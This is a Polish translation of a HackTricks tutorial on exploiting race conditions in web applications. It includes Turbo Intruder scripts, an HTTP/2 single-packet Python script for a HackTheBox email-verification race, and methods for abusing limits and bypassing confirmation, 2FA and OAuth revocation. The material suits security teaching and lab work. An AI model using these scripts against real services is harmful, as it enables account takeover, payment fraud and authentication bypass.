22 KiB
Wyścig warunków
Użyj Trickest, aby łatwo tworzyć i automatyzować przepływy pracy z wykorzystaniem najbardziej zaawansowanych narzędzi społecznościowych na świecie.
Zdobądź dostęp już dziś:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Zacznij od zera i zostań mistrzem hakowania AWS z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLANY SUBSKRYPCYJNE!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do HackTricks i HackTricks Cloud github repos.
{% hint style="warning" %} Aby uzyskać głębsze zrozumienie tej techniki, sprawdź oryginalny raport na stronie https://portswigger.net/research/smashing-the-state-machine {% endhint %}
Wzmacnianie ataków wyścigu warunków
Główną przeszkodą w wykorzystaniu wyścigów warunków jest zapewnienie, że kilka żądań jest obsługiwanych jednocześnie, z bardzo niewielką różnicą w czasach ich przetwarzania—idealnie poniżej 1 ms.
Oto kilka technik synchronizacji żądań:
Atak pojedynczym pakietem HTTP/2 vs. Synchronizacja ostatniego bajtu HTTP/1.1
- HTTP/2: Obsługuje wysyłanie dwóch żądań przez jedno połączenie TCP, zmniejszając wpływ niestabilności sieci. Jednakże, ze względu na zmienności po stronie serwera, dwa żądania mogą nie wystarczyć do skutecznego wykorzystania wyścigu warunków.
- HTTP/1.1 'Synchronizacja ostatniego bajtu': Umożliwia wcześniejsze wysłanie większości części 20-30 żądań, z zatrzymaniem małego fragmentu, który jest następnie wysyłany razem, osiągając jednoczesne dotarcie do serwera.
Przygotowanie do synchronizacji ostatniego bajtu obejmuje:
- Wysłanie nagłówków i danych ciała bez ostatniego bajtu bez zakończenia strumienia.
- Poczekanie 100 ms po początkowym wysłaniu.
- Wyłączenie TCP_NODELAY, aby wykorzystać algorytm Nagle'a do partycjonowania końcowych ramek.
- Pingowanie w celu rozgrzania połączenia.
Następne wysłanie zatrzymanych ramek powinno skutkować ich przybyciem w jednym pakiecie, co można zweryfikować za pomocą Wiresharka. Ta metoda nie dotyczy plików statycznych, które zazwyczaj nie są zaangażowane w ataki RC.
Dostosowanie do architektury serwera
Zrozumienie architektury celu jest kluczowe. Serwery front-end mogą kierować żądania w inny sposób, wpływając na czasowanie. Wstępne rozgrzewanie połączenia po stronie serwera, poprzez nieistotne żądania, może znormalizować czasowanie żądań.
Obsługa blokady opartej na sesji
Frameworki takie jak obsługa sesji w PHP serializują żądania według sesji, potencjalnie zasłaniając podatności. Wykorzystanie różnych tokenów sesji dla każdego żądania może obejść ten problem.
Przezwyciężanie limitów szybkości lub zasobów
Jeśli rozgrzewanie połączenia jest nieskuteczne, celowe wywołanie opóźnień limitów szybkości lub zasobów serwerów WWW poprzez zalewanie fałszywymi żądaniami może ułatwić atak pojedynczym pakietem, wywołując opóźnienie po stronie serwera sprzyjające wyścigom warunków.
Przykłady ataków
- Tubo Intruder - atak pojedynczym pakietem HTTP2 (1 punkt końcowy): Możesz wysłać żądanie do Turbo Intruder (
Rozszerzenia
->Turbo Intruder
->Wyślij do Turbo Intruder
), możesz zmienić w żądaniu wartość, którą chcesz brutalnie testować dla%s
jak wcsrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s
, a następnie wybraćexamples/race-single-packer-attack.py
z listy rozwijanej:
Jeśli zamierzasz wysłać różne wartości, możesz zmodyfikować kod na taki, który korzysta z listy słów z schowka:
passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')
{% hint style="warning" %}
Jeśli witryna nie obsługuje HTTP2 (tylko HTTP1.1), użyj Engine.THREADED
lub Engine.BURP
zamiast Engine.BURP2
.
{% endhint %}
- Tubo Intruder - atak jednopakietowy HTTP2 (Wiele punktów końcowych): W przypadku konieczności wysłania żądania do jednego punktu końcowego, a następnie wielu do innych punktów końcowych w celu wywołania RCE, można zmodyfikować skrypt
race-single-packet-attack.py
w następujący sposób:
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)
# Hardcode the second request for the RC
confirmationReq = '''POST /confirm?token[]= HTTP/2
Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net
Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU
Content-Length: 0
'''
# For each attempt (20 in total) send 50 confirmation requests.
for attempt in range(20):
currentAttempt = str(attempt)
username = 'aUser' + currentAttempt
# queue a single registration request
engine.queue(target.req, username, gate=currentAttempt)
# queue 50 confirmation requests - note that this will probably sent in two separate packets
for i in range(50):
engine.queue(confirmationReq, gate=currentAttempt)
# send all the queued requests for this attempt
engine.openGate(currentAttempt)
- Jest również dostępny w Repeaterze za pośrednictwem nowej opcji 'Wysyłaj grupę równolegle' w Burp Suite.
- Dla limit-overrun można po prostu dodać tę samą prośbę 50 razy w grupie.
- Dla rozgrzewania połączenia, można dodać na początku grupy kilka żądań do niezmiennego fragmentu serwera internetowego.
- Aby opóźnić proces między przetwarzaniem jednego żądania i drugiego w 2 krokach podstanu, można dodać dodatkowe żądania między oba żądania.
- Dla wielopunktowego RC można zacząć wysyłać żądanie, które przechodzi do ukrytego stanu, a następnie 50 żądań zaraz po nim, które wykorzystują ukryty stan.
- Zautomatyzowany skrypt w Pythonie: Celem tego skryptu jest zmiana adresu e-mail użytkownika, ciągle sprawdzając go, aż token weryfikacyjny nowego adresu dotrze do ostatniego e-maila (to dlatego, że w kodzie widziano RC, gdzie można było zmienić e-mail, ale weryfikacja była wysyłana na stary adres, ponieważ zmienna wskazująca e-mail była już wypełniona pierwszym).
Gdy słowo "objetivo" zostanie znalezione w otrzymanych e-mailach, wiemy, że otrzymaliśmy token weryfikacyjny zmienionego adresu e-mail i kończymy atak.
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
# Script from victor to solve a HTB challenge
from h2spacex import H2OnTlsConnection
from time import sleep
from h2spacex import h2_frames
import requests
cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg"
# change these headers
headersObjetivo= """accept: */*
content-type: application/x-www-form-urlencoded
Cookie: """+cookie+"""
Content-Length: 112
"""
bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827'
headersVerification= """Content-Length: 1
Cookie: """+cookie+"""
"""
CSRF="42a08872-610a-4965-9553-22d7b3aa1827"
host = "94.237.56.46"
puerto =39697
url = "https://"+host+":"+str(puerto)+"/email/"
response = requests.get(url, verify=False)
while "objetivo" not in response.text:
urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/"
responseDeleteMails = requests.get(urlDeleteMails, verify=False)
#print(response.text)
# change this host name to new generated one
Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" }
data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF
urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile"
responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False)
print(responseReset.status_code)
h2_conn = H2OnTlsConnection(
hostname=host,
port_number=puerto
)
h2_conn.setup_connection()
try_num = 100
stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num)
all_headers_frames = [] # all headers frame + data frames which have not the last byte
all_data_frames = [] # all data frames which contain the last byte
for i in range(0, try_num):
last_data_frame_with_last_byte=''
if i == try_num/2:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames( # noqa: E501
method='POST',
headers_string=headersObjetivo,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=bodyObjetivo,
path='/challenge/api/profile'
)
else:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(
method='GET',
headers_string=headersVerification,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=".",
path='/challenge/api/sendVerification'
)
all_headers_frames.append(header_frames_without_last_byte)
all_data_frames.append(last_data_frame_with_last_byte)
# concatenate all headers bytes
temp_headers_bytes = b''
for h in all_headers_frames:
temp_headers_bytes += bytes(h)
# concatenate all data frames which have last byte
temp_data_bytes = b''
for d in all_data_frames:
temp_data_bytes += bytes(d)
h2_conn.send_bytes(temp_headers_bytes)
# wait some time
sleep(0.1)
# send ping frame to warm up connection
h2_conn.send_ping_frame()
# send remaining data frames
h2_conn.send_bytes(temp_data_bytes)
resp = h2_conn.read_response_from_socket(_timeout=3)
frame_parser = h2_frames.FrameParser(h2_connection=h2_conn)
frame_parser.add_frames(resp)
frame_parser.show_response_of_sent_requests()
print('---')
sleep(3)
h2_conn.close_connection()
response = requests.get(url, verify=False)
Surowy BF
Przed poprzednimi badaniami używano następujących ładunków, które po prostu próbowały wysłać pakiety tak szybko, jak to możliwe, aby spowodować wyścig warunków.
- Powtarzacz: Sprawdź przykłady z poprzedniej sekcji.
- Włamywacz: Wyślij żądanie do Włamywacza, ustaw liczbę wątków na 30 w menu Opcje, wybierz jako ładunek Puste ładunki i wygeneruj 30.
- Turbo Włamywacz
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)
def handleResponse(req, interesting):
table.add(req)
- Python - asyncio
import asyncio
import httpx
async def use_code(client):
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text
async def main():
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))
# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)
# Print results
for r in results:
print(r)
# Async2sync sleep
await asyncio.sleep(0.5)
print(results)
asyncio.run(main())
Metodologia RC
Przekroczenie limitu / TOCTOU
To najbardziej podstawowy rodzaj warunku wyścigowego, w którym wykrywane są podatności w miejscach, gdzie ograniczona jest liczba razy, jak można wykonać akcję. Na przykład używanie tego samego kodu rabatowego w sklepie internetowym kilka razy. Bardzo łatwy przykład można znaleźć w tym raporcie lub w tym błędzie.
Istnieje wiele wariantów tego rodzaju ataku, w tym:
- Wymienianie karty podarunkowej wielokrotnie
- Ocenianie produktu wielokrotnie
- Wypłacanie lub przekazywanie gotówki w większej ilości niż saldo konta
- Ponowne wykorzystanie jednego rozwiązania CAPTCHA
- Ominięcie limitu szybkości anty-brute-force
Ukryte podstany
Wykorzystywanie złożonych warunków wyścigowych często polega na korzystaniu z krótkich okazji do interakcji z ukrytymi lub niezamierzonymi podstanami maszyny. Oto jak podejść do tego:
- Zidentyfikuj Potencjalne Ukryte Podstany
- Zacznij od zlokalizowania punktów końcowych, które modyfikują lub współdziałają z krytycznymi danymi, takimi jak profile użytkowników czy procesy resetowania hasła. Skup się na:
- Przechowywanie: Preferuj punkty końcowe, które manipulują danymi przechowywanymi po stronie serwera, nad tymi obsługującymi dane po stronie klienta.
- Akcja: Szukaj operacji, które zmieniają istniejące dane, co bardziej prawdopodobne jest, że stworzą warunki podatności w porównaniu do tych dodających nowe dane.
- Kluczowanie: Udane ataki zazwyczaj obejmują operacje oparte na tym samym identyfikatorze, np. nazwie użytkownika lub tokenie resetowania.
- Przeprowadź Początkowe Testowanie
- Przetestuj zidentyfikowane punkty końcowe atakami warunków wyścigowych, obserwując wszelkie odstępstwa od oczekiwanych rezultatów. Nieoczekiwane odpowiedzi lub zmiany w zachowaniu aplikacji mogą sygnalizować podatność.
- Wykaż Podatność
- Ogranicz atak do minimalnej liczby żądań potrzebnych do wykorzystania podatności, często tylko dwóch. Ten krok może wymagać wielokrotnych prób lub automatyzacji ze względu na precyzyjny czas zaangażowany.
Ataki Zależne od Czasu
Precyzja w czasie żądań może ujawnić podatności, zwłaszcza gdy do generowania tokenów bezpieczeństwa używane są przewidywalne metody, takie jak znaczniki czasu. Na przykład generowanie tokenów resetowania hasła na podstawie znaczników czasu może pozwolić na identyczne tokeny dla równoczesnych żądań.
Aby Wykorzystać:
- Użyj precyzyjnego czasowania, takiego jak atak jednopakietowy, aby złożyć równoczesne żądania resetowania hasła. Identyczne tokeny wskazują na podatność.
Przykład:
- Poproś o dwa tokeny resetowania hasła w tym samym czasie i porównaj je. Pasujące tokeny sugerują błąd w generowaniu tokenów.
Sprawdź to Laboratorium PortSwigger aby to wypróbować.
Studia przypadków ukrytych podstanów
Zapłać i dodaj przedmiot
Sprawdź to Laboratorium PortSwigger, aby zobaczyć, jak zapłacić w sklepie i dodać dodatkowy przedmiot, za który nie trzeba płacić.
Potwierdź inne adresy e-mail
Idea polega na zweryfikowaniu adresu e-mail i jednoczesnej zmianie go na inny, aby dowiedzieć się, czy platforma weryfikuje nowo zmieniony.
Zmień e-mail na 2 adresy e-mail oparte na plikach cookie
Zgodnie z tą badaniem Gitlab był podatny na przejęcie w ten sposób, ponieważ mógł wysłać token weryfikacyjny e-maila z jednego adresu e-mail na drugi.
Sprawdź to Laboratorium PortSwigger aby to wypróbować.
Ukryte stany bazy danych / Ominięcie potwierdzenia
Jeśli używane są 2 różne zapisy do dodania informacji do bazy danych, istnieje krótki okres czasu, w którym tylko pierwsze dane zostały zapisane w bazie danych. Na przykład podczas tworzenia użytkownika nazwa użytkownika i hasło mogą być zapisane, a następnie token do potwierdzenia nowo utworzonego konta jest zapisywany. Oznacza to, że przez krótki czas token do potwierdzenia konta jest pusty.
Dlatego zarejestrowanie konta i wysłanie kilku żądań z pustym tokenem (token=
lub token[]=
lub jakakolwiek inna wariacja) w celu natychmiastowego potwierdzenia konta może pozwolić na potwierdzenie konta, którego nie kontrolujesz.
Sprawdź to Laboratorium PortSwigger aby to wypróbować.
Ominięcie 2FA
Poniższy pseudokod jest podatny na warunek wyścigowy, ponieważ w bardzo krótkim czasie 2FA nie jest wymagane, podczas gdy sesja jest tworzona:
session['userid'] = user.userid
if user.mfa_enabled:
session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form
Wieczysta wytrwałość OAuth2
Istnieje kilka dostawców OAuth. Usługi te umożliwią Ci utworzenie aplikacji i uwierzytelnienie użytkowników zarejestrowanych przez dostawcę. Aby to zrobić, klient będzie musiał zezwolić Twojej aplikacji na dostęp do niektórych danych wewnątrz dostawcy OAuth.
Więc, do tej pory to tylko standardowe logowanie za pomocą google/linkedin/github... gdzie pojawia się strona informująca: "Aplikacja <InsertCoolName> chce uzyskać dostęp do Twoich informacji, czy chcesz jej na to zezwolić?"
Wyścig warunków w authorization_code
Problem pojawia się, gdy zaakceptujesz i automatycznie wysyłasz authorization_code
do złośliwej aplikacji. Następnie ta aplikacja wykorzystuje wyścig warunków w dostawcy usługi OAuth, aby wygenerować więcej niż jedną AT/RT (Authentication Token/Refresh Token) z authorization_code
dla Twojego konta. W skrócie, wykorzysta fakt, że zezwoliłeś aplikacji na dostęp do swoich danych, aby utworzyć kilka kont. Wtedy, jeśli zatrzymasz zezwolenie dla aplikacji na dostęp do swoich danych, jedna para AT/RT zostanie usunięta, ale pozostałe będą wciąż ważne.
Wyścig warunków w Refresh Token
Gdy już uzyskasz ważny RT, możesz spróbować wykorzystać go do wygenerowania kilku AT/RT i nawet jeśli użytkownik anuluje uprawnienia dla złośliwej aplikacji do dostępu do swoich danych, kilka RT nadal będzie ważnych.
RC w WebSockets
W WS_RaceCondition_PoC znajdziesz PoC w Javie do wysyłania wiadomości websocket równolegle, aby wykorzystać wyścigi warunków również w WebSockets.
Referencje
- https://hackerone.com/reports/759247
- https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html
- https://hackerone.com/reports/55140
- https://portswigger.net/research/smashing-the-state-machine
- https://portswigger.net/web-security/race-conditions
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLANY SUBSKRYPCYJNE!
- Kup oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud github repos.
Użyj Trickest, aby łatwo tworzyć i automatyzować workflowy zasilane przez najbardziej zaawansowane narzędzia społeczności na świecie.
Zdobądź dostęp już dziś:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}